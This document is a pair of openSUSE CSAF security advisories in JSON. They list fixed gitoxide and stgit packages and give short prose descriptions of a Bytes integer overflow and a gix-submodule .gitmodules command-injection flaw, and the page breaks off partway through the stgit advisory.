| Unresolved product id: openSUSE Tumbleweed:gitoxide-0.56.0-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:gitoxide-0.56.0-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:gitoxide-0.56.0-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:gitoxide-0.56.0-1.1.x86_64 | — |
Vendor Fix
|
{
"document": {
"aggregate_severity": {
"namespace": "https://www.suse.com/support/security/rating/",
"text": "moderate"
},
"category": "csaf_security_advisory",
"csaf_version": "2.0",
"distribution": {
"text": "Copyright 2024 SUSE LLC. All rights reserved.",
"tlp": {
"label": "WHITE",
"url": "https://www.first.org/tlp/"
}
},
"lang": "en",
"notes": [
{
"category": "summary",
"text": "gitoxide-0.56.0-1.1 on GA media",
"title": "Title of the patch"
},
{
"category": "description",
"text": "These are all security issues fixed in the gitoxide-0.56.0-1.1 package on the GA media of openSUSE Tumbleweed.",
"title": "Description of the patch"
},
{
"category": "details",
"text": "openSUSE-Tumbleweed-2026-11474",
"title": "Patchnames"
},
{
"category": "legal_disclaimer",
"text": "CSAF 2.0 data is provided by SUSE under the Creative Commons License 4.0 with Attribution (CC-BY-4.0).",
"title": "Terms of use"
}
],
"publisher": {
"category": "vendor",
"contact_details": "https://www.suse.com/support/security/contact/",
"name": "SUSE Product Security Team",
"namespace": "https://www.suse.com/"
},
"references": [
{
"category": "external",
"summary": "SUSE ratings",
"url": "https://www.suse.com/support/security/rating/"
},
{
"category": "self",
"summary": "URL of this CSAF notice",
"url": "https://ftp.suse.com/pub/projects/security/csaf/opensuse-su-2026_11474-1.json"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-25541 page",
"url": "https://www.suse.com/security/cve/CVE-2026-25541/"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-40034 page",
"url": "https://www.suse.com/security/cve/CVE-2026-40034/"
}
],
"title": "gitoxide-0.56.0-1.1 on GA media",
"tracking": {
"current_release_date": "2026-08-09T00:00:00Z",
"generator": {
"date": "2026-08-09T00:00:00Z",
"engine": {
"name": "cve-database.git:bin/generate-csaf.pl",
"version": "1"
}
},
"id": "openSUSE-SU-2026:11474-1",
"initial_release_date": "2026-08-09T00:00:00Z",
"revision_history": [
{
"date": "2026-08-09T00:00:00Z",
"number": "1",
"summary": "Current version"
}
],
"status": "final",
"version": "1"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_version",
"name": "gitoxide-0.56.0-1.1.aarch64",
"product": {
"name": "gitoxide-0.56.0-1.1.aarch64",
"product_id": "gitoxide-0.56.0-1.1.aarch64"
}
}
],
"category": "architecture",
"name": "aarch64"
},
{
"branches": [
{
"category": "product_version",
"name": "gitoxide-0.56.0-1.1.ppc64le",
"product": {
"name": "gitoxide-0.56.0-1.1.ppc64le",
"product_id": "gitoxide-0.56.0-1.1.ppc64le"
}
}
],
"category": "architecture",
"name": "ppc64le"
},
{
"branches": [
{
"category": "product_version",
"name": "gitoxide-0.56.0-1.1.s390x",
"product": {
"name": "gitoxide-0.56.0-1.1.s390x",
"product_id": "gitoxide-0.56.0-1.1.s390x"
}
}
],
"category": "architecture",
"name": "s390x"
},
{
"branches": [
{
"category": "product_version",
"name": "gitoxide-0.56.0-1.1.x86_64",
"product": {
"name": "gitoxide-0.56.0-1.1.x86_64",
"product_id": "gitoxide-0.56.0-1.1.x86_64"
}
}
],
"category": "architecture",
"name": "x86_64"
},
{
"branches": [
{
"category": "product_name",
"name": "openSUSE Tumbleweed",
"product": {
"name": "openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed",
"product_identification_helper": {
"cpe": "cpe:/o:opensuse:tumbleweed"
}
}
}
],
"category": "product_family",
"name": "SUSE Linux Enterprise"
}
],
"category": "vendor",
"name": "SUSE"
}
],
"relationships": [
{
"category": "default_component_of",
"full_product_name": {
"name": "gitoxide-0.56.0-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:gitoxide-0.56.0-1.1.aarch64"
},
"product_reference": "gitoxide-0.56.0-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "gitoxide-0.56.0-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:gitoxide-0.56.0-1.1.ppc64le"
},
"product_reference": "gitoxide-0.56.0-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "gitoxide-0.56.0-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:gitoxide-0.56.0-1.1.s390x"
},
"product_reference": "gitoxide-0.56.0-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "gitoxide-0.56.0-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:gitoxide-0.56.0-1.1.x86_64"
},
"product_reference": "gitoxide-0.56.0-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2026-25541",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-25541"
}
],
"notes": [
{
"category": "general",
"text": "Bytes is a utility library for working with bytes. From version 1.2.1 to before 1.11.1, Bytes is vulnerable to integer overflow in BytesMut::reserve. In the unique reclaim path of BytesMut::reserve, if the condition \"v_capacity \u003e= new_cap + offset\" uses an unchecked addition. When new_cap + offset overflows usize in release builds, this condition may incorrectly pass, causing self.cap to be set to a value that exceeds the actual allocated capacity. Subsequent APIs such as spare_capacity_mut() then trust this corrupted cap value and may create out-of-bounds slices, leading to UB. This behavior is observable in release builds (integer overflow wraps), whereas debug builds panic due to overflow checks. This issue has been patched in version 1.11.1.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:gitoxide-0.56.0-1.1.aarch64",
"openSUSE Tumbleweed:gitoxide-0.56.0-1.1.ppc64le",
"openSUSE Tumbleweed:gitoxide-0.56.0-1.1.s390x",
"openSUSE Tumbleweed:gitoxide-0.56.0-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-25541",
"url": "https://www.suse.com/security/cve/CVE-2026-25541"
},
{
"category": "external",
"summary": "SUSE Bug 1271347 for CVE-2026-25541",
"url": "https://bugzilla.suse.com/1271347"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:gitoxide-0.56.0-1.1.aarch64",
"openSUSE Tumbleweed:gitoxide-0.56.0-1.1.ppc64le",
"openSUSE Tumbleweed:gitoxide-0.56.0-1.1.s390x",
"openSUSE Tumbleweed:gitoxide-0.56.0-1.1.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"openSUSE Tumbleweed:gitoxide-0.56.0-1.1.aarch64",
"openSUSE Tumbleweed:gitoxide-0.56.0-1.1.ppc64le",
"openSUSE Tumbleweed:gitoxide-0.56.0-1.1.s390x",
"openSUSE Tumbleweed:gitoxide-0.56.0-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-08-09T00:00:00Z",
"details": "important"
}
],
"title": "CVE-2026-25541"
},
{
"cve": "CVE-2026-40034",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-40034"
}
],
"notes": [
{
"category": "general",
"text": "gix-submodule before 0.29.0 (gitoxide before 0.5.21, gix before 0.84.0) incorrectly validates the update field in .gitmodules, allowing attackers to bypass the CommandForbiddenInModulesConfiguration guard when a submodule has been initialized with only partial configuration in .git/config. An attacker can inject arbitrary shell commands via the update field in .gitmodules that will be executed when Submodule::update() is called on a previously-initialized submodule, enabling remote code execution.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:gitoxide-0.56.0-1.1.aarch64",
"openSUSE Tumbleweed:gitoxide-0.56.0-1.1.ppc64le",
"openSUSE Tumbleweed:gitoxide-0.56.0-1.1.s390x",
"openSUSE Tumbleweed:gitoxide-0.56.0-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-40034",
"url": "https://www.suse.com/security/cve/CVE-2026-40034"
},
{
"category": "external",
"summary": "SUSE Bug 1266415 for CVE-2026-40034",
"url": "https://bugzilla.suse.com/1266415"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:gitoxide-0.56.0-1.1.aarch64",
"openSUSE Tumbleweed:gitoxide-0.56.0-1.1.ppc64le",
"openSUSE Tumbleweed:gitoxide-0.56.0-1.1.s390x",
"openSUSE Tumbleweed:gitoxide-0.56.0-1.1.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"openSUSE Tumbleweed:gitoxide-0.56.0-1.1.aarch64",
"openSUSE Tumbleweed:gitoxide-0.56.0-1.1.ppc64le",
"openSUSE Tumbleweed:gitoxide-0.56.0-1.1.s390x",
"openSUSE Tumbleweed:gitoxide-0.56.0-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-08-09T00:00:00Z",
"details": "important"
}
],
"title": "CVE-2026-40034"
}
]
}
OPENSUSE-SU-2026:21185-1
Vulnerability from csaf_opensuse - Published: 2026-06-30 15:11 - Updated: 2026-06-30 15:11| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Leap 16.0:stgit-2.6.0-bp160.1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Leap 16.0:stgit-2.6.0-bp160.1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Leap 16.0:stgit-bash-completion-2.6.0-bp160.1.1.noarch | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Leap 16.0:stgit-emacs-2.6.0-bp160.1.1.noarch | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Leap 16.0:stgit-fish-completion-2.6.0-bp160.1.1.noarch | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Leap 16.0:stgit-vim-plugin-2.6.0-bp160.1.1.noarch | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Leap 16.0:stgit-zsh-completion-2.6.0-bp160.1.1.noarch | — |
Vendor Fix
|
{
"document": {
"aggregate_severity": {
"namespace": "https://www.suse.com/support/security/rating/",
"text": "important"
},
"category": "csaf_security_advisory",
"csaf_version": "2.0",
"distribution": {
"text": "Copyright 2024 SUSE LLC. All rights reserved.",
"tlp": {
"label": "WHITE",
"url": "https://www.first.org/tlp/"
}
},
"lang": "en",
"notes": [
{
"category": "summary",
"text": "Security update for stgit",
"title": "Title of the patch"
},
{
"category": "description",
"text": "This update for stgit fixes the following issues:\n\nChanges in stgit:\n\n- Update to version 2.6.0:\n * chore: update changelog for 2.6.0\n * fix(import): respect --name verbatim, ignoring stgit.namelength\n * test(refresh): use test_when_finished for status.renames cleanup\n * expect over unwrap for test\n * bugfix: issue #615, add Copied variant to Status enum and move panic to a copied status, add integration test\n * docs: Update copyright year\n * chore: update gix to 0.83 (CVE-2026-40034, bsc#1266429)\n * chore: update compatible transitive dependencies\n * chore: update winnow to 1.0.3\n * chore: update jiff to 0.2.24\n * ci: drop dead CARGO_TARGET_*_STRIP env vars from package build\n * ci: soft-pin cargo-deb to ^3.0\n * ci: bump cargo-generate-rpm pin to ^0.20.0\n * ci: bump GitHub Actions to Node 24 runtimes\n * chore: update winnow to 1.0.1\n * chore: update clap to 4.6.1\n * chore: update gix to 0.81\n * chore: bump MSRV to 1.85\n * chore: update transitive deps\n * chore: update winnow to 0.7.15\n * chore: update thiserror to 2.0.18\n * chore: update tempfile to 3.27.0\n * chore: update tar to 0.4.45\n * chore: update serde_json to 1.0.149\n * chore: update jiff to 0.2.23\n * chore: update indexmap to 2.14.0\n * chore: update flate2 to 1.1.9\n * chore: update ctrlc to 3.5.2\n * chore: update clap to 4.5.61\n * chore: update anyhow to 1.0.102\n * chore: update anstyle to 1.0.14\n\n- Update to version 2.5.5:\n * fix(squash): keep author when squashed commits have same author\n\n- Update to version 2.5.4:\n * chore: update changelog for 2.5.4\n * chore: update transitive dependencies\n * chore: update clap to 4.5.43\n * refactor: clippy fixes\n * fix: gix 0.73 breaking changes\n * chore: update gix to 0.73\n * chore: update transitive dependencies\n * chore: update serde_json to 1.0.142\n * chore: update winnow to 0.7.12\n * chore: update clap to 4.5.42\n * refactor: clippy lints\n * stgit.el: Use `with-eval-after-load\u0027 instead of a homemade version\n * stgit.el: Use `advice-add\u0027 instead of `defadvice\u0027\n * stgit.el: Fix various checkdoc warnings\n * stgit.el: Support Emacs versions \u003c 31\n * feat(bash): complete patches from chosen branch\n * chore: update dependencies\n * refactor: repair clippy lints\n * chore: update clap to 4.5.40\n * chore: update anstyle to 1.0.11\n * chore: update winnow to 0.7.11\n * chore: update anyhow to 1.0.98\n * chore: update jiff to 0.2.15\n * chore: update tempfile to 3.20.0\n * chore: update curl to 0.4.48\n * chore: update flate2 to 1.1.2\n * chore: update ctrlc to 3.4.7\n * chore(deps): bump winnow from 0.7.6 to 0.7.10\n * chore(deps): bump clap from 4.5.36 to 4.5.39\n * docs: Update copyright year\n * chore: update transitive dependencies\n * chore: update tempfile to 3.19.1\n * chore: update jiff to 0.2.6\n * chore: update winnow to 0.7.6\n * chore: update gix to 0.71\n * chore: update indexmap to 2.9.0\n * chore: update is-terminal to 0.4.16\n * chore: update ctrlc to 3.4.6\n * chore: update bstr to 1.12.0\n * chore: update clap to 4.5.36\n * chore: update flate2 to 1.1.1\n * chore: update serde to 1.0.219\n * chore: update serde_json to 1.0.140\n * chore: update thiserror to 2.0.12\n * chore: update anyhow to 1.0.97\n * refactor: repair clippy lint\n * stgit.el: Move \u0027stgit-patch-status-face-alist\u0027 before first use\n * stgit.el: Silence warnings of missing vc variables\n * stgit.el: Replace ad-hoc `make-local-variable\u0027 with `defvar-local\u0027\n * stgit.el: Use defvar-local instead of make-local-variable\n * stgit.el: Enable lexical-binding\n * stgit.el: Allow empty descriptions\n * stgit.el: Add \"--no-color\" flag to \u0027git log\u0027 and \u0027git show\u0027\n * stgit.el: Pass patch into `stgit-process-files\u0027\n * chore: update changelog for 2.5.3\n * chore: update dependencies\n * refactor(stgit.el): use space-based indentation consistently\n * refactor: repair clippy lint\n * chore(deps): bump tempfile from 3.16.0 to 3.17.0\n * chore(deps): bump jiff from 0.2.0 to 0.2.1\n * build: statically linked packages for riscv64\n * chore: update changelog for 2.5.2\n * chore: update jiff to 0.2.0\n * chore: update winnow to 0.7.2\n * fix: partial_ref_name\n * chore: resolve winnow deprecations\n * chore: update dependencies\n * ci: disable test for windows build\n * chore(deps): bump jiff from 0.1.24 to 0.1.29\n * chore(deps): bump serde_json from 1.0.135 to 1.0.138\n * chore(deps): bump is-terminal from 0.4.13 to 0.4.15\n * chore(deps): bump indexmap from 2.7.0 to 2.7.1\n * chore(deps): bump clap from 4.5.26 to 4.5.28\n * stgit.el: Fix various compile warnings\n * stgit.el: Replace depercated cl function calls with new style\n * stgit.el: Fix some checkdoc warnings\n * stgit.el: Fix emacs pre-pending \"Summary: \" to log-edit buffers\n * chore: update changelog for 2.5.1\n * chore: update release checklist\n * ci: use ubuntu-24.04 image\n * fix: assure branch creation respects fetch-specs of remotes. (#522)\n * chore: update to latest `gix` for improved API (#522)\n * chore: update transitive deps\n * chore: update anstyle-wincon to 3.0.7\n * chore: update bitflags to 2.8.0\n * chore: update jiff to 0.1.24\n * chore: update transitive deps\n * chore: update syn to 2.0.96\n * chore: update bitflags to 2.7.0\n * chore: update clap to 4.5.26\n * chore: update serde_json to 1.0.135\n * chore: update thiserror to 2.0.11\n * chore: update winnow to 0.6.24\n * refactor: repair clippy lints for is_some_and\n * test: repair regression with git v2.48\n * chore(deps): bump jiff from 0.1.18 to 0.1.21\n * chore(deps): bump bstr from 1.11.1 to 1.11.3\n * chore(deps): bump tempfile from 3.14.0 to 3.15.0\n * chore: update changelog for 2.5.0\n * chore: update transitive deps\n * chore: update windows-sys to 0.59.0\n * chore: update serde to 1.0.217\n * chore: update winnow to 0.6.21\n * chore: update jiff to 0.1.18\n * docs: explain stgit.autosign a bit better\n * feat: new \"name\" subcommand\n * feat: organize subcommands by group in help\n * chore: fix warning\n * feat: support calling stg rebase without arguments\n * tests: add test for rebase without arguments\n * chore: update dependencies\n * chore: update serde_json to 1.0.134\n * chore: update thiserror to 2.0.9\n * chore: update anyhow to 1.0.95\n * chore: update gix to 0.69\n * chore: update changelog for 2.4.13\n * chore: update transitive deps\n * chore: update jiff to 0.1.15\n * chore: update gix to 0.68\n * chore: update flate2 to 1.0.35\n * chore: update serde to 1.0.216\n * chore: update thiserror to 2.0.7\n * chore: update indexmap to 2.7.0\n * chore: update clap to 4.5.23\n * chore: update bstr to 1.11.1\n * chore: update anyhow to 1.0.94\n * refactor: repair clippy lints\n * chore: update thiserror to 2.0.3\n * chore: update allocator-api2 to 0.2.19\n * chore: update url to 2.5.3\n * chore: update cc to 1.1.37\n * chore: update anstream to 0.6.18\n * chore: update fastrand to 2.2.0\n * chore: update libc to 0.2.162\n * chore: update curl-sys to 0.4.78+curl-8.11.0\n * chore: update tempfile to 3.14.0\n * chore: update anyhow to 1.0.93\n * chore: update gix to 0.67.0\n * chore: update autocfg to 1.4.0\n * chore: update unicode-bidi to 0.3.17\n * chore: update unicode-ident to 1.0.13\n * chore: update redox_syscall to 0.5.7\n * chore: update colorchoice to 1.0.3\n * chore: update anstyle-query to 1.1.2\n * chore: update anstyle-parse to 0.2.6\n * chore: update proc-macro2 to 1.0.89\n * chore: update unicode-normalization to 0.1.24\n * chore: update gix-quote to 0.4.13\n * chore: update gix-bitmap to 0.2.12\n * chore: update gix-config-value to 0.14.9\n * chore: update memmap2 to 0.9.5\n * chore: update gix-chunk to 0.4.9\n * chore: update pkg-config to 0.3.31\n * chore: update cc to 1.1.34\n * chore: update anstream to 0.6.17\n * chore: update rustix to 0.38.38\n * chore: update once_cell to 1.20.2\n * chore: update gix-validate to 0.9.1\n * chore: update gix-utils to 0.1.13\n * chore: update gix-sec to 0.10.9\n * chore: update gix-date to 0.9.1\n * chore: update gix-command to 0.3.10\n * chore: update schannel to 0.1.26\n * chore: update openssl-sys to 0.9.104\n * chore: update libc to 0.2.161\n * chore: update regex-automata to 0.4.8\n * chore: update winnow to 0.6.20\n * chore: update thiserror to 1.0.67\n * chore: update tempfile to 3.13.0\n * chore: update tar to 0.4.43\n * chore: update serde_json to 1.0.132\n * chore: update serde to 1.0.214\n * chore: update jiff to 0.1.14\n * chore: update indexmap to 2.6.0\n * chore: update flate2 to 1.0.34\n * chore: update encoding_rs to 0.8.35\n * chore: update curl to 0.4.47\n * chore: update clap to 4.5.20\n * chore: update anyhow to 1.0.92\n * chore: update anstyle to 1.0.10\n\n- Update to 2.5.4\n * stgit.el: Use with-eval-after-load instead of a homemade version\n * stgit.el: Use advice-add instead of defadvice\n * stgit.el: Fix various checkdoc warnings\n * stgit.el: Support Emacs versions \u003c 31\n * stgit.el: Move \u0027stgit-patch-status-face-alist\u0027 before first use\n * stgit.el: Silence warnings of missing vc variables\n * stgit.el: Replace ad-hoc make-local-variable with defvar-local\n * stgit.el: Use defvar-local instead of make-local-variable\n * stgit.el: Enable lexical-binding\n * stgit.el: Allow empty descriptions\n * stgit.el: Add \"--no-color\" flag to \u0027git log\u0027 and \u0027git show\u0027\n * stgit.el: Pass patch into stgit-process-files\n * chore: update gix to 0.73\n * docs: Update copyright year\n * feat(bash): complete patches from chosen branch\n\n- Update to 2.5.3\n * build: statically linked packages for riscv64\n * chore: update dependencies\n * refactor(stgit.el): use space-based indentation consistently\n\n- Update to 2.5.2 2025-02-16\n * fix(stgit.el): various compile warnings\n * fix(stgit.el): Replace depercated cl function calls with new style\n * fix(stgit.el): checkdoc warnings\n * fix(stgit.el): emacs pre-pending \"Summary: \" to log-edit buffers\n * chore: update jiff to 0.2.0\n * chore: update winnow to 0.7.2\n * chore: resolve winnow deprecations\n * chore: update dependencies\n\n- Update to 2.5.1 2025-01-18\n * fix: assure branch creation respects fetch-specs of remotes (#522)\n * ci: ubuntu-24.04 is now used to build release binaries\n * chore: gix is updated to 0.70\n\n- Update to 2.5.0 2025-01-01\n * feat: new \"name\" subcommand\n * feat: support calling stg rebase without arguments\n * docs: explain stgit.autosign a bit better\n * feat: organize subcommands by group in help\n\n- Update to 2.4.13\n * fix(squash): preserve consensus author\n * chore: update gix to 0.68\n",
"title": "Description of the patch"
},
{
"category": "details",
"text": "openSUSE-Leap-16.0-packagehub-380",
"title": "Patchnames"
},
{
"category": "legal_disclaimer",
"text": "CSAF 2.0 data is provided by SUSE under the Creative Commons License 4.0 with Attribution (CC-BY-4.0).",
"title": "Terms of use"
}
],
"publisher": {
"category": "vendor",
"contact_details": "https://www.suse.com/support/security/contact/",
"name": "SUSE Product Security Team",
"namespace": "https://www.suse.com/"
},
"references": [
{
"category": "external",
"summary": "SUSE ratings",
"url": "https://www.suse.com/support/security/rating/"
},
{
"category": "self",
"summary": "URL of this CSAF notice",
"url": "https://ftp.suse.com/pub/projects/security/csaf/opensuse-su-2026_21185-1.json"
},
{
"category": "self",
"summary": "SUSE Bug 1266429",
"url": "https://bugzilla.suse.com/1266429"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-40034 page",
"url": "https://www.suse.com/security/cve/CVE-2026-40034/"
}
],
"title": "Security update for stgit",
"tracking": {
"current_release_date": "2026-06-30T15:11:42Z",
"generator": {
"date": "2026-06-30T15:11:42Z",
"engine": {
"name": "cve-database.git:bin/generate-csaf.pl",
"version": "1"
}
},
"id": "openSUSE-SU-2026:21185-1",
"initial_release_date": "2026-06-30T15:11:42Z",
"revision_history": [
{
"date": "2026-06-30T15:11:42Z",
"number": "1",
"summary": "Current version"
}
],
"status": "final",
"version": "1"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_version",
"name": "stgit-2.6.0-bp160.1.1.aarch64",
"product": {
"name": "stgit-2.6.0-bp160.1.1.aarch64",
"product_id": "stgit-2.6.0-bp160.1.1.aarch64"
}
}
],
"category": "architecture",
"name": "aarch64"
},
{
"branches": [
{
"category": "product_version",
"name": "stgit-bash-completion-2.6.0-bp160.1.1.noarch",
"product": {
"name": "stgit-bash-completion-2.6.0-bp160.1.1.noarch",
"product_id": "stgit-bash-completion-2.6.0-bp160.1.1.noarch"
}
},
{
"category": "product_version",
"name": "stgit-emacs-2.6.0-bp160.1.1.noarch",
"product": {
"name": "stgit-emacs-2.6.0-bp160.1.1.noarch",
"product_id": "stgit-emacs-2.6.0-bp160.1.1.noarch"
}
},
{
"category": "product_version",
"name": "stgit-fish-completion-2.6.0-bp160.1.1.noarch",
"product": {
"name": "stgit-fish-completion-2.6.0-bp160.1.1.noarch",
"product_id": "stgit-fish-completion-2.6.0-bp160.1.1.noarch"
}
},
{
"category": "product_version",
"name": "stgit-vim-plugin-2.6.0-bp160.1.1.noarch",
"product": {
"name": "stgit-vim-plugin-2.6.0-bp160.1.1.noarch",
"product_id": "stgit-vim-plugin-2.6.0-bp160.1.1.noarch"
}
},
{
"category": "product_version",
"name": "stgit-zsh-completion-2.6.0-bp160.1.1.noarch",
"product": {
"name": "stgit-zsh-completion-2.6.0-bp160.1.1.noarch",
"product_id": "stgit-zsh-completion-2.6.0-bp160.1.1.noarch"
}
}
],
"category": "architecture",
"name": "noarch"
},
{
"branches": [
{
"category": "product_version",
"name": "stgit-2.6.0-bp160.1.1.x86_64",
"product": {
"name": "stgit-2.6.0-bp160.1.1.x86_64",
"product_id": "stgit-2.6.0-bp160.1.1.x86_64"
}
}
],
"category": "architecture",
"name": "x86_64"
},
{
"branches": [
{
"category": "product_name",
"name": "openSUSE Leap 16.0",
"product": {
"name": "openSUSE Leap 16.0",
"product_id": "openSUSE Leap 16.0"
}
}
],
"category": "product_family",
"name": "SUSE Linux Enterprise"
}
],
"category": "vendor",
"name": "SUSE"
}
],
"relationships": [
{
"category": "default_component_of",
"full_product_name": {
"name": "stgit-2.6.0-bp160.1.1.aarch64 as component of openSUSE Leap 16.0",
"product_id": "openSUSE Leap 16.0:stgit-2.6.0-bp160.1.1.aarch64"
},
"product_reference": "stgit-2.6.0-bp160.1.1.aarch64",
"relates_to_product_reference": "openSUSE Leap 16.0"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "stgit-2.6.0-bp160.1.1.x86_64 as component of openSUSE Leap 16.0",
"product_id": "openSUSE Leap 16.0:stgit-2.6.0-bp160.1.1.x86_64"
},
"product_reference": "stgit-2.6.0-bp160.1.1.x86_64",
"relates_to_product_reference": "openSUSE Leap 16.0"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "stgit-bash-completion-2.6.0-bp160.1.1.noarch as component of openSUSE Leap 16.0",
"product_id": "openSUSE Leap 16.0:stgit-bash-completion-2.6.0-bp160.1.1.noarch"
},
"product_reference": "stgit-bash-completion-2.6.0-bp160.1.1.noarch",
"relates_to_product_reference": "openSUSE Leap 16.0"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "stgit-emacs-2.6.0-bp160.1.1.noarch as component of openSUSE Leap 16.0",
"product_id": "openSUSE Leap 16.0:stgit-emacs-2.6.0-bp160.1.1.noarch"
},
"product_reference": "stgit-emacs-2.6.0-bp160.1.1.noarch",
"relates_to_product_reference": "openSUSE Leap 16.0"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "stgit-fish-completion-2.6.0-bp160.1.1.noarch as component of openSUSE Leap 16.0",
"product_id": "openSUSE Leap 16.0:stgit-fish-completion-2.6.0-bp160.1.1.noarch"
},
"product_reference": "stgit-fish-completion-2.6.0-bp160.1.1.noarch",
"relates_to_product_reference": "openSUSE Leap 16.0"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "stgit-vim-plugin-2.6.0-bp160.1.1.noarch as component of openSUSE Leap 16.0",
"product_id": "openSUSE Leap 16.0:stgit-vim-plugin-2.6.0-bp160.1.1.noarch"
},
"product_reference": "stgit-vim-plugin-2.6.0-bp160.1.1.noarch",
"relates_to_product_reference": "openSUSE Leap 16.0"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "stgit-zsh-completion-2.6.0-bp160.1.1.noarch as component of openSUSE Leap 16.0",
"product_id": "openSUSE Leap 16.0:stgit-zsh-completion-2.6.0-bp160.1.1.noarch"
},
"product_reference": "stgit-zsh-completion-2.6.0-bp160.1.1.noarch",
"relates_to_product_reference": "openSUSE Leap 16.0"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2026-40034",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-40034"
}
],
"notes": [
{
"category": "general",
"text": "gix-submodule before 0.29.0 (gitoxide before 0.5.21, gix before 0.84.0) incorrectly validates the update field in .gitmodules, allowing attackers to bypass the CommandForbiddenInModulesConfiguration guard when a submodule has been initialized with only partial configuration in .git/config. An attacker can inject arbitrary shell commands via the update field in .gitmodules that will be executed when Submodule::update() is called on a previously-initialized submodule, enabling remote code execution.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Leap 16.0:stgit-2.6.0-bp160.1.1.aarch64",
"openSUSE Leap 16.0:stgit-2.6.0-bp160.1.1.x86_64",
"openSUSE Leap 16.0:stgit-bash-completion-2.6.0-bp160.1.1.noarch",
"openSUSE Leap 16.0:stgit-emacs-2.6.0-bp160.1.1.noarch",
"openSUSE Leap 16.0:stgit-fish-completion-2.6.0-bp160.1.1.noarch",
"openSUSE Leap 16.0:stgit-vim-plugin-2.6.0-bp160.1.1.noarch",
"openSUSE Leap 16.0:stgit-zsh-completion-2.6.0-bp160.1.1.noarch"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-40034",
"url": "https://www.suse.com/security/cve/CVE-2026-40034"
},
{
"category": "external",
"summary": "SUSE Bug 1266415 for CVE-2026-40034",
"url": "https://bugzilla.suse.com/1266415"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Leap 16.0:stgit-2.6.0-bp160.1.1.aarch64",
"openSUSE Leap 16.0:stgit-2.6.0-bp160.1.1.x86_64",
"openSUSE Leap 16.0:stgit-bash-completion-2.6.0-bp160.1.1.noarch",
"openSUSE Leap 16.0:stgit-emacs-2.6.0-bp160.1.1.noarch",
"openSUSE Leap 16.0:stgit-fish-completion-2.6.0-bp160.1.1.noarch",
"openSUSE Leap 16.0:stgit-vim-plugin-2.6.0-bp160.1.1.noarch",
"openSUSE Leap 16.0:stgit-zsh-completion-2.6.0-bp160.1.1.noarch"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"openSUSE Leap 16.0:stgit-2.6.0-bp160.1.1.aarch64",
